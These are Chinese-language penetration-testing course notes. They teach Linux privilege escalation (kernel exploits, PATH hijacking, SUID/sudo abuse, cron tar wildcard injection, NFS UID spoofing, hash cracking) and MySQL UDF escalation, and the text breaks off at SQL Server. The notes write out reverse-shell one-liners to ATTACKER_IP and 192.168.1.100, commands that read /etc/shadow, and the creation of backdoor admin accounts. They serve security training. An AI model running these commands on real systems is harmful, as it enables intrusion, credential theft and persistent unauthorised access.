在本节课中，我们将学习Linux系统下的权限提升技术。课程将涵盖信息收集、内核漏洞利用、环境变量滥用以及密码哈希破解等方法，并通过实验进行巩固。

第一部分：Linux提权信息收集 📊

上一节我们介绍了课程的整体框架，本节中我们来看看如何进行有效的信息收集。这与Windows提权类似，第一步都是收集目标系统的各类信息，为后续寻找提权突破口做准备。

以下是Linux提权信息收集的关键方面：

  • 系统与内核版本：uname -a 命令用于获取内核版本，这是寻找内核漏洞提权的关键依据。
  • 环境变量：echo $PATH 命令用于查看环境变量配置，与环境变量提权相关。
  • 网络信息：ifconfig 或 ip addr 命令用于查看网卡信息。
  • 应用程序与服务：ps aux 或 systemctl list-units 命令用于查看运行中的服务及其版本，寻找存在漏洞的服务。
  • 计划任务：crontab -l 命令用于查看当前用户的计划任务。
  • 配置文件：检查如 /etc/passwd、/etc/shadow、Web服务配置文件等，可能包含敏感信息。

为了提高效率，我们通常使用自动化脚本进行批量信息收集。

自动化信息收集脚本

以下是一个常用的Linux提权信息收集脚本，它集成了上述大部分命令：

# 从GitHub获取脚本
curl -L https://github.com/your-repo/linenum.sh -o linenum.sh
# 赋予执行权限并运行
chmod +x linenum.sh
./linenum.sh

脚本执行后会输出大量信息，主要包括：

  • 基础信息：系统版本、主机名、当前用户等。
  • 可写目录：当前用户拥有写入权限的目录。
  • 可用命令：系统中已安装的实用命令，如 ping、nc、wget、gcc、python3 等。
  • 系统详情：发行版信息、Sudo版本、环境变量 $PATH、磁盘与CPU信息。
  • 进程与服务：正在运行的服务、定时任务 (crontab) 等。
  • 配置文件：各种服务的配置详情。

分析脚本输出的结果，可以帮助我们快速定位潜在的提权路径。

第二部分：查找漏洞利用代码 🔍

上一节我们学习了如何收集信息，本节中我们来看看如何根据收集到的信息查找可用的漏洞利用代码。拥有漏洞利用代码是成功提权的前提。

以下是查找漏洞利用代码的常用网站：

  • Exploit Database：著名的漏洞信息库，提供大量漏洞的详细说明和利用代码。
  • SecurityFocus：提供全面的漏洞公告、解决方案和引用链接。
  • Rapid7：Metasploit框架背后的公司，其数据库包含丰富的漏洞模块信息。
  • 安全客：国内知名的安全社区，实时更新最新的漏洞资讯和分析报告。

第三部分：Linux系统内核漏洞提权 ⚙️

上一节我们介绍了如何寻找利用代码，本节我们聚焦于最常见的提权方式——利用Linux内核漏洞。这类漏洞通常影响广泛，利用方式直接。

Linux平台提权漏洞集合

安全研究人员整理了历史Linux内核提权漏洞的集合，例如在GitHub上的项目。我们可以根据内核版本号快速查找对应的漏洞和利用代码。

例如，对于一个漏洞，其利用代码通常是一个C语言文件：

// 示例：一个本地提权漏洞的EXP代码片段
#include <stdio.h>
#include <stdlib.h>
int main() {
    // ... 漏洞利用逻辑 ...
    system("/bin/bash -p"); // 获取root shell
    return 0;
}

我们需要在目标机器上用 gcc 编译后执行：

gcc exploit.c -o exploit
./exploit

使用SearchSploit工具

在Kali Linux等渗透测试环境中，可以使用 searchsploit 工具快速搜索本地漏洞数据库。

以下是 searchsploit 的基本用法：

  1. 更新数据库：searchsploit -u
  2. 搜索漏洞：searchsploit linux kernel 4.15 local privilege
  3. 查看详情：searchsploit -p 12345 (其中12345是漏洞ID)

例如，搜索适用于内核版本4.10至5.1.17的本地提权漏洞：

searchsploit linux kernel 4.15 local privilege

该命令会返回匹配的漏洞列表及其本地存储路径，我们可以直接复制利用代码到目标机器进行编译和测试。

第四部分：Linux环境变量提权与密码哈希破解 🔑

上一节我们深入探讨了内核漏洞提权，本节我们来看看另外两种提权方法：滥用环境变量和破解密码哈希。

环境变量提权

Linux中的 PATH 环境变量定义了系统查找可执行文件的目录顺序。如果我们将一个包含恶意代码的目录添加到 PATH 的前端，并且该目录下有一个与系统命令同名的可执行文件，那么当特权用户（如root）或特权服务执行该命令时，就会运行我们的恶意代码。

基本利用步骤：

  1. 编写一个反向Shell或添加用户的C程序，命名为 ls、cat 等常见命令名。
  2. 编译它：gcc -o ls malicious.c
  3. 将当前目录（或恶意文件所在目录）添加到 PATH 的最前面：export PATH=/tmp:$PATH (假设恶意文件在 /tmp)
  4. 等待或诱导特权上下文执行 ls 命令。

密码哈希破解

如果通过信息收集获取到了 /etc/shadow 文件中的密码哈希，我们可以尝试使用工具如 John the Ripper 或 hashcat 进行破解。

基本流程：

  1. 从 /etc/shadow 中提取目标用户的哈希值（格式通常为 $id$salt$hash）。
  2. 使用破解工具和字典进行离线破解。
# 使用John the Ripper示例
unshadow /etc/passwd /etc/shadow > hashes.db
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.db

第五部分：提权实验 🧪

在本节中，我们将通过两个实验来巩固所学知识。请根据实验环境完成以下任务：

实验一：内核漏洞提权

  1. 使用信息收集脚本枚举目标机器。
  2. 根据内核版本，使用 searchsploit 查找可用的本地提权漏洞。
  3. 将利用代码上传到目标机器，编译并执行，尝试获取root权限。

实验二：环境变量滥用提权

  1. 在目标机器上，找到一个以root权限运行的脚本或服务，其中调用了未使用绝对路径的命令（如 system(“ls”)）。
  2. 编写一个恶意的 ls 程序，实现提权（如启动Setuid Shell）。
  3. 修改当前用户的 PATH 变量，使恶意 ls 优先被找到。
  4. 触发该脚本或服务的执行，验证是否获得root权限。

总结 📝

本节课中我们一起学习了Linux系统下的权限提升技术。我们从信息收集开始，了解了自动化脚本的使用；接着学习了如何查找漏洞利用代码；然后重点探讨了利用Linux内核漏洞进行提权的方法，并介绍了 searchsploit 工具；最后，我们简要了解了环境变量提权和密码哈希破解的思路。通过课程末尾的实验，希望大家能够将理论应用于实践，深刻理解Linux提权的核心过程。记住，深入理解系统原理和保持对最新漏洞的关注是安全研究的基石。

课程P73：第42天 - Linux权限提升实践指南 🔐

在本节课中，我们将学习Linux环境下几种常见的权限提升方法。课程将涵盖利用公开漏洞、环境变量以及密码哈希等手段，通过实际案例演示如何从普通用户权限提升至root权限。

概述 📋

权限提升是渗透测试和系统安全评估中的关键环节。当攻击者获得一个低权限的shell后，下一步就是尝试提升权限，以获取对系统的完全控制。本节课将介绍在Linux系统中实现权限提升的多种技术路径。

第一部分：利用公开漏洞提权

上一节我们概述了权限提升的基本概念，本节中我们来看看如何利用已知的系统或服务漏洞进行提权。

1. 使用SearchSploit查找漏洞利用代码

SearchSploit是Exploit-DB的命令行搜索工具，内置了漏洞数据库，可以方便地查找公开的漏洞利用代码。

以下是使用SearchSploit的基本步骤：

  1. 通过uname -a命令获取目标系统的内核版本信息。
  2. 使用searchsploit命令，以内核版本号为关键词进行搜索。例如：searchsploit 4.15。
  3. 从搜索结果中找到匹配的漏洞利用代码（EXP）。代码通常以C程序形式存在，并附有编号（如47163）。
  4. 利用searchsploit的-m参数，将找到的EXP复制到当前工作目录。命令格式为：searchsploit -m 47163。
  5. 使用GCC编译器对C代码进行编译：gcc 47163.c -o exp。
  6. 在目标系统上运行编译生成的exp程序，尝试进行提权。

核心命令示例：

searchsploit -m 47163
gcc 47163.c -o exp
./exp

注意：提权成功率依赖于目标系统是否存在特定漏洞，具有一定偶然性。并非所有找到的EXP都能成功利用。

2. 脏牛提权漏洞

脏牛漏洞是一个影响范围极广的本地提权漏洞，在爆发之初影响了当时几乎全版本的Linux系统，允许低权限用户获取root权限。

由于其影响深远，此处不再演示，但建议通过相关实验进行复现和分析，以深入理解其原理。

3. CVE-2019-13272 本地提权漏洞

该漏洞影响内核版本4.10至5.1.17的Linux系统。

以下是利用此漏洞的步骤：

  1. 根据内核版本，在Exploit-DB上搜索并下载对应的EXP（例如编号47163的C程序）。
  2. 将EXP上传至目标机器。
  3. 使用GCC编译：gcc 47163.c -o exp。
  4. 直接运行编译后的程序：./exp。
  5. 若漏洞存在，执行后将获得一个具有root权限的shell。

4. CVE-2019-7304 Snap包管理器提权漏洞

此漏洞影响Ubuntu 14.04, 16.04, 18.04等系统，Snap版本在2.28至2.37之间。

利用方法如下：

  1. 在目标系统上发现存在漏洞版本的Snap服务。
  2. 从GitHub获取利用脚本。
  3. 脚本提供了两种利用方式：
    • 方法一：创建SSH密钥，通过特定脚本生成后门账户。
    • 方法二：执行脚本后，会创建一个名为dirty_sock、密码同为dirty_sock的用户，该用户拥有sudo权限。
  4. 使用方法二时，执行脚本后，可通过su dirty_sock切换用户，然后使用sudo命令以root权限执行指令。

关键点：某些系统（如实验靶机）的Snap服务会自动更新，从而修复漏洞。因此，在测试时需注意版本，或创建快照以防止自动更新。

第二部分：Linux环境变量提权

上一部分我们介绍了利用公开漏洞的方法，本节中我们将探讨一种利用Linux环境变量和SUID权限进行提权的技术。

1. 理解PATH环境变量与SUID权限

  • PATH环境变量：指定了系统查找可执行程序的目录列表。当用户在终端输入命令时，系统会按照PATH中的目录顺序搜索该命令。
    • 查看命令：echo $PATH
  • SUID权限：一种特殊的文件权限。当用户执行具有SUID权限的程序时，该进程会继承程序所有者的权限，而非执行者的权限。
    • SUID权限在文件列表中显示为所有者执行权限位的 s（例如 -rwsr-xr-x）。
    • 查找具有SUID权限的文件：find / -perm -u=s -type f 2>/dev/null

2. 环境变量提权原理与步骤

提权思路是：找到一个具有SUID权限、且会调用系统命令（如ps）的程序。通过劫持PATH环境变量，使其优先执行我们伪造的命令，从而获得root shell。

以下是具体操作步骤：

  1. 寻找目标：找到一个属主为root且具有SUID权限的程序，例如一个自定义的/home/kali/shell程序，其功能是执行ps命令。
  2. 创建恶意程序：在/tmp目录下创建一个名为ps的文件，内容为反弹shell或直接启动bash。
    echo '/bin/bash' > /tmp/ps
chmod 777 /tmp/ps
  3. 劫持PATH环境变量：将/tmp目录添加到当前PATH环境变量的最前面。
    export PATH=/tmp:$PATH
  4. 触发提权：执行之前找到的SUID程序（如./shell）。此时，该程序以root权限运行，并调用ps命令。
    • 系统查找ps命令时，根据被修改的PATH，优先在/tmp目录下找到了我们创建的恶意ps文件。
    • root权限的进程执行了/tmp/ps，即启动了/bin/bash。
    • 由于进程继承root权限，因此获得了一个具有root权限的bash shell。

核心流程公式：
SUID程序(root权限) + 被篡改的PATH -> 执行恶意ps -> 获得root shell

第三部分：利用密码哈希提权

本节我们来看一种最直接的提权方式——获取并破解高权限用户的密码哈希。

1. 关键系统文件

Linux系统中用户密码信息主要存储在两个文件中：

  • /etc/passwd：所有用户可读，存储用户基本信息（用户名、UID、GID等）。密码字段通常用x表示，实际哈希值不在此处。
  • /etc/shadow：仅root用户可读，存储加密后的用户密码哈希及其他安全信息。

2. 提权方法

在某些配置不当的系统上，/etc/passwd文件中可能直接存储了密码哈希（而非x）。

提权步骤如下：

  1. 查看/etc/passwd文件：cat /etc/passwd
  2. 寻找异常条目：查找密码字段不是x，且UID为0（root）的用户行。
    • 例如：toor:$1$xyz$...:0:0:root:/root:/bin/bash
  3. 提取哈希值：复制$1$xyz$...这部分哈希值。
  4. 破解哈希：使用在线网站或本地工具破解哈希。
    • 常用网站：cmd5, somd5
  5. 登录系统：使用破解得到的明文密码，通过su命令切换至对应用户，即可获得root权限。

创建后门账户：也可以反向操作，在/etc/passwd中手动添加一个UID和GID为0的用户，并设置一个已知哈希的密码，从而创建一个具有root权限的后门账户。

总结与课后作业 🎯

本节课我们一起学习了Linux系统下多种权限提升技术：

  1. 利用SearchSploit查找并利用公开的系统内核或服务漏洞。
  2. 利用环境变量PATH和SUID权限的程序进行提权。
  3. 通过获取并破解/etc/passwd或/etc/shadow中的密码哈希来获得高权限账户。

课后作业：

  1. 复现“脏牛”提权漏洞实验，理解其原理。
  2. 在实验环境中，尝试利用CVE-2019-13272或环境变量提权技术完成一次完整的权限提升流程。
  3. 动手操作课程PPT中涉及的所有命令和步骤，加深理解。

课程P74：Linux权限提升 - 定时任务与SUDO滥用 🚀

在本节课中，我们将学习Linux系统中的两种重要权限提升方法：利用定时任务（Cron Jobs）和滥用SUDO权限。我们将了解其原理，并通过实际例子演示如何发现和利用这些配置缺陷来获得更高的系统权限。

第一部分：滥用SUDO权限提权 🔓

上一节我们介绍了课程概述，本节中我们来看看如何通过滥用配置不当的SUDO权限进行提权。

SUDO是Linux系统的一个管理指令，它允许系统管理员让普通用户以root或其他用户的身份执行命令。其核心作用是实现权限的临时提升。

SUDO命令的执行流程如下：

  1. 当前用户通过SUDO命令，临时转换为root用户（或其他指定用户）。
  2. 以转换后的高权限身份执行命令。
  3. 命令执行完毕后，立即退回到原普通用户身份。

需要注意的关键点：

  • 执行sudo时输入的密码是当前用户自己的密码，而非root密码。
  • SUDO的配置文件是/etc/sudoers，其文件权限为0440，只有root用户和root组有权读取。
  • 管理员在该文件中配置哪些用户或组能以何种方式使用sudo。

查看当前用户的SUDO权限

以下是两个用于查看当前用户SUDO权限的关键命令：

  • sudo -l：列出当前用户可以通过sudo执行的命令列表。
  • sudo -s：启动一个由环境变量或/etc/passwd文件指定的shell。如果以sudo执行，则会获得一个root权限的shell。

利用SUDO权限进行提权

当我们通过sudo -l发现当前用户可以以root身份执行某些特定命令时，就可以尝试利用这些命令进行提权。关键在于理解这些命令能否被用来执行任意代码或启动shell。

这里介绍一个非常有用的资源项目：GTFOBins。该项目收集了大量Unix/Linux二进制程序（命令）的利用方法，特别是在拥有SUDO或SUID权限时的提权技巧。

利用思路：

  1. 使用sudo -l命令，获取允许执行的命令列表。
  2. 将列表中的命令与GTFOBins项目中的条目进行比对。
  3. 按照GTFOBins提供的利用方法执行命令，尝试获取root shell。

以下是几个常见的命令利用示例：

1. 利用 bash 或 sh 提权
如果允许执行sudo bash或sudo sh，这是最直接的提权方式，会直接获得一个root shell。

sudo bash
# 或
sudo sh

2. 利用 awk 提权
awk是一个强大的文本处理工具，也可以用来执行系统命令。

# 方法一：直接获取shell
sudo awk 'BEGIN {system("/bin/bash")}'

# 方法二：读取受保护文件（如shadow）
sudo awk '{print $1,$2}' /etc/shadow

3. 利用 curl 提权
curl可用于文件传输，也能读取本地文件。

# 读取本地受保护文件
sudo curl file:///etc/shadow

4. 利用 find 提权
find命令的-exec参数可以执行命令。

sudo find / -name test -exec /bin/bash \;

第二部分：Linux定时任务（Cron Jobs）提权 ⏰

上一节我们介绍了如何滥用SUDO权限，本节中我们来看看另一种常见的提权向量——Linux定时任务。

定时任务（Cron Jobs）是Linux系统中用于计划执行周期性任务的工具。任务定义在/etc/crontab文件或/etc/cron.*/目录以及用户自己的crontab列表中。

提权原理：
如果系统中存在权限配置不当的定时任务（例如，任务以root权限运行，但任务脚本或目录的写权限被错误地赋予了普通用户），攻击者就可以通过修改这些脚本或文件，在预定时间以root身份执行恶意代码。

发现与利用步骤：

  1. 查找定时任务：检查系统crontab文件。
    cat /etc/crontab
ls -la /etc/cron.*/
  2. 分析任务权限：查看定时任务执行的脚本或命令，检查其所在路径、脚本文件本身以及上级目录的权限。
    ls -la /path/to/cron_script.sh
  3. 利用写权限：如果发现普通用户对某个root定时任务脚本有写权限，可以直接修改该脚本，插入反弹shell或添加用户等恶意命令。
    echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' >> /path/to/cron_script.sh
  4. 利用路径劫持：如果定时任务通过相对路径调用命令，并且该路径的某个父目录对普通用户可写，可以将恶意可执行文件放在该目录下，并确保它在系统PATH中先被找到。

第三部分：SUID特殊权限提权 ⚡

除了SUDO和定时任务，SUID（Set User ID）权限也是一个重要的提权点。

SUID权限原理：
当一个具有SUID权限的可执行文件被运行时，该进程将继承文件所有者的权限，而不是执行者的权限。例如，如果/usr/bin/bash的所有者是root且设置了SUID位，那么普通用户执行它时，就会获得一个root shell。

查找SUID文件：

find / -type f -perm -u=s 2>/dev/null

利用SUID提权：

  1. 使用上述命令查找系统中所有的SUID文件。
  2. 将找到的二进制文件名在GTFOBins网站中搜索。
  3. 如果该文件在GTFOBins中被标记为SUID可利用，则按照其提供的方法执行，通常能直接获得文件所有者（常为root）权限的shell。

常见例子：

  • find、bash、nmap（旧版本）、vim、less、more等命令，如果配置了SUID权限，都可能被用来提权。具体利用方法需参考GTFOBins。

第四部分：其他提权实例与思路 💡

在实际渗透测试中，提权思路远不止以上几种。本节我们简要介绍其他一些常见的提权方向。

  • 内核漏洞提权：利用Linux内核本身的漏洞进行提权。需要查找系统版本对应的公开EXP。
  • 敏感信息泄露：在配置文件、历史命令、日志文件、数据库文件中寻找密码或密钥。
  • 服务漏洞：系统中运行的服务（如MySQL、Redis、Docker）可能存在漏洞或配置问题，导致权限提升。
  • 环境变量劫持：通过操纵LD_PRELOAD、PATH等环境变量，影响高权限程序的执行。
  • 滥用功能软件：如利用python、perl、php等解释器执行系统命令。

通用提权检查流程：

  1. 信息收集：系统版本、内核版本、运行进程、安装软件、网络连接等。
  2. 自动化脚本：使用如LinEnum、linuxprivchecker.py等脚本进行初步检查。
  3. 手动验证：根据脚本输出和自身知识，对可疑点进行深入分析和利用尝试。

总结 📝

本节课中我们一起学习了Linux系统下几种关键的权限提升技术：

  1. SUDO权限滥用：通过sudo -l查看可用命令，并利用GTFOBins等资源，将允许执行的命令转化为获取root shell的途径。
  2. 定时任务提权：分析系统crontab，利用对高权限定时任务脚本或目录的写权限，植入恶意代码。
  3. SUID权限提权：查找具有SUID位的可执行文件，并利用其继承文件所有者权限的特性进行提权。
  4. 其他提权思路：包括利用内核漏洞、寻找敏感信息、攻击本地服务等多种方法。

成功的权限提升依赖于细致的信息收集、对系统机制的理解以及持续的实践探索。请务必在授权和合法的环境中进行练习。

课程P75：第44天 - Linux权限提升实战教程 🔓

在本节课中，我们将要学习Linux系统中几种常见的权限提升方法，包括定时任务提权、SUID提权以及通过NFS共享和隐藏文件获取更高权限。课程内容将结合实例，力求简单直白，让初学者能够看懂。

概述 📋

权限提升是渗透测试中的关键环节，它允许攻击者从一个低权限账户获取系统更高权限（如root）。本节课将深入探讨几种在Linux环境下实用的提权技术。

第一部分：Linux定时任务提权 ⏰

上一节我们介绍了SUDO滥用权限的提权方法，本节中我们来看看如何利用Linux的定时任务进行提权。

什么是定时任务？

在Linux系统中，定时任务由 cron 守护进程管理，它允许用户在特定时间自动执行命令或脚本。我们在信息收集阶段，就需要关注系统的定时任务配置。

系统级的定时任务配置文件位于 /etc/crontab。用户级的定时任务则位于 /var/spool/cron/crontabs/ 目录下，每个用户对应一个文件。

定时任务格式解析

我们可以通过 cat /etc/crontab 命令查看系统定时任务。其基本格式如下：

* * * * * user command

这五个星号分别代表：分、时、日、月、周。user 指定以哪个用户的权限执行命令，command 则是要执行的命令。

例如，* * * * * root /path/to/backup.sh 表示以root权限每分钟执行一次备份脚本。

靶场实例分析

在我们的靶机中，发现了一个系统定时任务：

* * * * * root /usr/local/bin/backup.sh

这个任务以root权限每分钟执行一次 /usr/local/bin/backup.sh 脚本。我们需要分析这个脚本的功能，才能找到利用点。

查看脚本内容：

#!/bin/bash
for i in $(ls /home); do
    cd /home/$i
    tar -zcf /etc/backups/$i.tar.gz *
done

脚本分析：

  1. 遍历 /home 目录下的所有用户文件夹（例如 bob, peter, susan）。
  2. 进入每个用户的home目录。
  3. 使用 tar 命令将该目录下的所有文件（* 通配符）打包压缩。

这个脚本的功能是定期备份所有用户home目录的文件。

漏洞利用：通配符注入

这个脚本看似正常，但其漏洞在于 tar -zcf /etc/backups/$i.tar.gz * 这一行中对通配符 * 的使用。

通配符基础：
在Linux中，* 通配符会匹配当前目录下的所有文件和文件夹。当命令如 cp *.txt /tmp 执行时，Shell会先将 *.txt 展开为所有匹配的文件名，再执行命令。

漏洞原理：
tar 命令有很多选项（options）。如果我们在文件名上做手脚，让 tar 命令将文件名误认为是它的选项，就可能执行我们预期的操作。

tar 有一个 --checkpoint-action 选项，可以指定在检查点执行任意命令。我们可以利用这一点。

以下是利用步骤：

  1. 在低权限用户的home目录（例如 /home/bob）下创建特殊文件：

    # 1. 创建一个包含反弹Shell命令的脚本
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f' > shell.sh

# 2. 创建两个用于“欺骗”tar命令的文件
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh shell.sh'

    执行后，在 /home/bob 目录下会生成三个文件：shell.sh、--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh。

  1. 等待定时任务执行：
    当root用户的定时任务执行到备份 /home/bob 目录时，实际的命令会展开为：

    tar -zcf /etc/backups/bob.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh

    tar 命令会将 --checkpoint=1 和 --checkpoint-action=exec=sh shell.sh 识别为选项，而不是普通文件名。这样，它就会执行 sh shell.sh 这个动作。

  1. 获取Root Shell：
    由于定时任务是以root权限运行的，它执行的 shell.sh 也会获得root权限。shell.sh 中的命令会向攻击者机器（192.168.1.100:4444）反弹一个具有root权限的Shell。

通过这个方法，我们就成功地从普通用户bob提升到了root权限。

扩展思路：
在 shell.sh 中，我们不仅可以反弹Shell，还可以做其他事，例如：

  • 在 /etc/sudoers 文件中添加当前用户，使其可以无密码使用sudo。
  • 给 /bin/bash 等命令设置SUID权限，然后利用它提权。

第二部分：SUID提权 🛡️

上一节我们利用了定时任务，本节中我们来看看另一种经典提权方式——SUID提权。

SUID权限回顾

SUID（Set User ID）是一种特殊的文件权限。当一个具有SUID权限的可执行文件被运行时，它将以文件所有者的身份运行，而不是执行它的用户。

例如，如果 /usr/bin/passwd 设置了SUID且属于root，那么普通用户执行它时，会在短时间内拥有root权限来修改密码。

寻找可利用的SUID文件

首先，我们需要在系统中寻找设置了SUID权限的可执行文件。可以使用以下命令：

find / -type f -perm -u=s 2>/dev/null

这个命令会在根目录 / 下查找所有设置了SUID位（-perm -u=s）的普通文件（-type f），并将错误信息（2>/dev/null）丢弃。

利用已知的SUID程序

找到SUID文件后，我们需要判断哪些可以被利用。一个著名的资源是 GTFOBins，它列出了大量可以通过配置不当的SUID/GUID权限进行提权的程序。

例如，如果发现 taskset 命令具有SUID权限，并且属于root，可以利用以下方式提权：

# 在GTFOBins上找到的taskset提权命令
taskset 1 /bin/bash -p

执行后，可能会直接获得一个root权限的bash shell（-p 参数用于保留特权）。

实践建议：
将 find 命令找到的SUID程序列表与GTFOBins网站进行比对，尝试利用已知的漏洞。这是一个需要耐心尝试的过程。

第三部分：其他提权思路 🔍

除了上述两种主要方法，信息收集过程中还可能发现其他提权路径。

查找隐藏的敏感文件

用户有时会将密码、密钥等敏感信息保存在隐藏文件（以 . 开头的文件）中。我们可以尝试搜索这些文件。

find /home -type f -name “.*” 2>/dev/null

这个命令在 /home 目录下查找所有隐藏文件。例如，可能发现一个名为 /home/susan/.secret 的文件，里面存放着用户susan的密码。获得这个密码后，就可以切换到susan用户，进而探索该用户是否拥有更高权限（例如在 sudoers 列表中）。

NFS低权限访问提权

NFS（网络文件系统）允许在网络中共享目录。如果配置不当，可能允许未授权访问或权限提升。

  1. 信息收集： 使用 showmount -e <target_ip> 命令查看目标服务器共享了哪些目录。
    showmount -e 192.168.78.38
# 可能输出：/home/peter

  1. 挂载共享目录： 在攻击机上创建目录并挂载目标的共享目录。
    mkdir /mnt/peter
mount -t nfs 192.168.78.38:/home/peter /mnt/peter

  1. 权限问题： 挂载后查看文件权限，可能会显示数字ID（如 1001），这是因为攻击机上没有对应的用户/组名。

  1. 权限伪造：
    • 在攻击机上创建一个与目标共享目录所有者UID/GID相同的用户。
    groupadd -g 1005 peter
useradd -u 1001 -g 1005 peter
passwd peter # 设置密码
    • 切换到该用户 (su peter)，此时就拥有了对该挂载目录的写入权限。

  1. 写入SSH公钥：
    • 在攻击机生成SSH密钥对：ssh-keygen
    • 将公钥（~/.ssh/id_rsa.pub）写入挂载目录的 ~/.ssh/authorized_keys 文件中。
    • 现在可以通过SSH免密登录到目标服务器的peter用户：ssh peter@192.168.78.38

  1. 进一步的提权： 登录后，检查新获得的用户权限。如果发现该用户属于 docker 组，则可以利用Docker提权。因为Docker组的成员可以运行Docker容器，并可能将主机目录挂载到容器中，从而访问或修改宿主机文件，最终获得root权限。

总结 🎯

本节课中我们一起学习了多种Linux权限提升技术：

  1. 定时任务提权：通过分析配置不当的cron任务，利用tar命令的通配符注入漏洞，注入恶意参数从而以root权限执行命令。
  2. SUID提权：寻找系统中设置了SUID位的可执行文件，并利用GTFOBins等资源中的已知方法，将这些程序的运行权限提升为文件所有者（通常是root）权限。
  3. 信息收集提权：
    • 通过查找隐藏文件发现敏感信息（如密码）。
    • 利用配置不当的NFS共享，通过伪造用户ID获得写权限，进而写入SSH公钥实现登录，并可能借助docker组等特殊权限进一步提权。

这些方法的核心在于细致的信息收集和对系统配置的深入理解。在实际渗透测试中，需要灵活组合运用这些技术。课程中提到的VulnHub靶场（如/home/peter）是极佳的练习环境，建议课后实践以巩固所学知识。

课程P76：第45天 - 数据库提权实战 🛡️

在本节课中，我们将要学习两种常见数据库（MySQL和SQL Server）的权限提升技术。通过利用数据库的特性或漏洞，我们可以将有限的数据库访问权限提升为操作系统的管理员权限。

概述 📋

前面的课程介绍了Windows系统下的权限提升方法。本节课将重点介绍数据库应用层面的提权技术。因为一个Web应用通常都会与数据库进行交互，并且可能存在SQL注入等漏洞。当我们通过Web漏洞获取Webshell后，如果服务器上存在数据库，我们就可以尝试利用数据库进行权限提升，从而获得服务器的更高控制权。

本节课内容主要分为三部分：MySQL提权、SQL Server提权。关于PostgreSQL的提权，我们将在后续课程中介绍。

第一部分：MySQL数据库提权 🗄️

关于MySQL数据库，大家应该都比较熟悉。在了解MySQL提权之前，我们需要先理解一个核心概念：UDF（用户定义函数）。

什么是UDF？

UDF是 User Defined Function 的缩写，意为用户定义函数。它的作用是为用户提供了一种高效创建自定义函数的方式。

具体方法是：我们可以编写一个能够调用系统命令的UDF动态链接库（DLL）文件。在Windows系统下，DLL（Dynamic Link Library）是动态链接库，其中存放着可供多个程序共享调用的代码和数据。我们可以通过调用DLL中的函数来实现特定功能。

在MySQL中，它支持用户自定义函数。在Windows系统下，要创建自定义函数，我们可以通过编写一个包含UDF函数的DLL文件来实现。我们只需要有这个DLL文件，就能利用它来创建一个用户自定义函数。这个函数的功能就是用来调用系统的cmd命令（在Linux上则是调用shell命令）。因此，我们在数据库查询时，可以通过调用这个函数来执行系统命令，从而达到提权的目的。

需要注意：不同版本下，UDF的DLL文件存放位置不同。

  • 在Windows Server 2003及MySQL 5.1版本之前，DLL文件存放在 C:\Windows\ 目录下。
  • 在MySQL 5.1及之后版本，DLL文件存放在MySQL安装目录下的 lib\plugin 目录中。

我们的DLL文件必须放在指定的目录下，MySQL才能在调用时找到并利用它来创建函数。

关键技术：NTFS ADS流创建目录

在我们的UDF提权过程中，需要将DLL文件导出到MySQL安装目录的 lib\plugin 下。但很多时候，目标MySQL的安装目录下可能不存在 lib 或 plugin 目录。而且，MySQL的文件操作不能直接创建目录（SELECT ... INTO OUTFILE 只能导出数据为文件，不能创建目录）。

这时，我们就需要利用NTFS文件系统的交换数据流（Alternate Data Streams, ADS）特性来创建目录。

ADS是NTFS文件系统的一个特性，其格式为：文件名:流名:流种类。其中流名可以省略。

我们常见的文件数据流是 $DATA 流。当流种类为 $INDEX_ALLOCATION 时，表示这个数据流对应的是一个文件夹（目录）。

因此，我们可以通过MySQL导出数据到这样一个“文件”，实际创建一个目录。

理解示例：
在命令行中，我们可以这样操作：

  1. 创建普通文件：echo "content" > test.txt
  2. 创建ADS流文件：echo "hidden content" > test.txt:secret.txt。这样会在 test.txt 文件下创建一个名为 secret.txt 的隐藏数据流，用记事本打开 test.txt:secret.txt 可以看到内容，但直接打开 test.txt 看不到。
  3. 创建目录（利用ADS）：echo. > testDir::$INDEX_ALLOCATION。执行后，虽然可能报错，但会创建一个名为 testDir 的文件夹。

应用场景：这个技术在Web安全文件上传绕过中也有应用，通过上传类似 shell.php:.jpg 的文件名，在某些Windows服务器上实际会生成 shell.php 文件。

所以，在MySQL提权中，如果目标不存在 lib\plugin 目录，我们可以分两步创建：

  1. 创建 lib 目录。
  2. 在 lib 目录下创建 plugin 目录。

MySQL UDF提权实战流程

接下来，我们通过一个实验来详细讲解MySQL UDF提权的步骤。提权的大体思路如下：

场景假设：目标主机开启了MySQL远程连接，并且我们通过某种方式（如查看网站配置文件）获得了数据库的用户名和密码。

核心步骤：

  1. 信息收集：确认MySQL版本、安装路径，判断 lib\plugin 目录是否存在。
  2. 准备UDF DLL：将提权用的DLL文件转换为十六进制格式。
  3. 操作数据库：
    • 在数据库中创建一个临时表，用于存放DLL的二进制数据。
    • 将DLL的十六进制数据插入到这个临时表中。
    • 利用 SELECT ... INTO DUMPFILE 语句，将临时表中的DLL数据导出到目标服务器的 lib\plugin 目录下（如果目录不存在，需先用ADS流技术创建）。
  4. 创建UDF函数：在MySQL中，利用导出的DLL文件创建一个自定义函数（例如函数名为 cmdshell）。
  5. 执行系统命令：通过调用这个自定义函数来执行系统命令（如添加管理员用户），从而实现权限提升。

具体操作语句示例：

  1. 查看MySQL安装目录：SELECT @@basedir;
  2. 创建临时表：
    CREATE TABLE temp_udf (udf LONGBLOB);
  3. 插入DLL数据（假设 {HEX_CODE} 是DLL的十六进制内容）：
    INSERT INTO temp_udf (udf) VALUES (UNHEX('{HEX_CODE}'));
  4. 导出DLL文件（假设安装目录为 C:/mysql/）：
    SELECT udf FROM temp_udf INTO DUMPFILE 'C:/mysql/lib/plugin/udf.dll';
  5. 创建UDF函数：
    CREATE FUNCTION cmdshell RETURNS STRING SONAME 'udf.dll';
  6. 执行系统命令：
    SELECT cmdshell('net user hacker Password123! /add');
SELECT cmdshell('net localgroup administrators hacker /add');

另一种场景：如果已经获得Webshell但无法执行系统命令，可以上传集成了上述步骤的提权脚本，通过Web界面填写数据库信息来完成提权。

第二部分：SQL Server数据库提权 🗃️

SQL Server是Windows服务器上常用的数据库。其提权主要利用一个名为 xp_cmdshell 的扩展存储过程。

什么是xp_cmdshell？

